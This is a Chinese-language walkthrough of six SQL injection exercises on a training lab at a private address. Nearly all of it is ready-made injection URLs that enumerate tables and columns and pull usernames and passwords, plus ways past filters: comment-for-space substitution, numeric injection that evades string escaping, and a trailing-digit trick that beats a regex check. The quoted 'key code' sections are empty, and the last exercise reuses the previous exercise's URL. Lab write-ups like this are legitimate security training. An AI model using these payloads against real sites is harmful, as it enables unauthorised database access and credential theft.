mysql注入合天實驗室靶場
實例一、熱身運動,不設防
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
think:從代碼看name傳參是字符串型,傳入的字符有單引號保護,未對傳參進行任何過濾和檢測。
do it:
http:10.1.1.11:81/sqli/example1.php?name=root
http:10.1.1.11:81/sqli/example1.php?name=root'
http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+
說明有五個字段,那么我們直接進行聯合查詢。
http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+
http:10.1.1.11:81/sqli/example1.php?name=root’ union select 1,2,3,4,5--+
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
拿到表名:users
那我們繼續查字段
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(column_name),4,5 from information_schema.columns where table_name='users'--+
存在id,name,age,groupid,passwd字段
那我們再繼續name和passwd
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),name,passwd,4,5 from users--+
就得到我們name和passwd
實例二、節約是種美德,少用空格
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
正則匹配不能使用空格,那我們可以使用/**/代替,因為此處不能用空格那么我們的注釋就不能用--+因為+也會被當成空格
do it:
http:10.1.1.11:81/sqli/example2.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23
實例三、繼承美德,不用空格
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
這里有個正則匹配\s+
\s 是匹配空白字符
+是匹配前面的子表達式一次或多次
那么我們這個里還可以使用/**/來繞過
do it:
http:10.1.1.11:81/sqli/example3.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23
實例四、看仔細點,別被嚇壞了
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
這里使用了mysql_real_escape_string函數轉義字符
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
這里我們就不能使用‘ “
我們可以使用浮點型來讓其報錯執行我們的聯合查詢語句
http:10.1.1.11:81/sqli/example4.php?id=2.1 union select database(),name,passwd,4,5 from users%23
實例五、這個規則沒多大意義
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
這里也有一個正則匹配id傳參的開頭必須是數字,那么我們上題的payload一樣可以滿足
http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%23
實例六、想用工具沒門
關鍵代碼:
本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;
本題是正則匹配我們輸入的結尾必須全是數字型的,那么我們這里就直接使用%231結尾就可以繞過了。
http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%231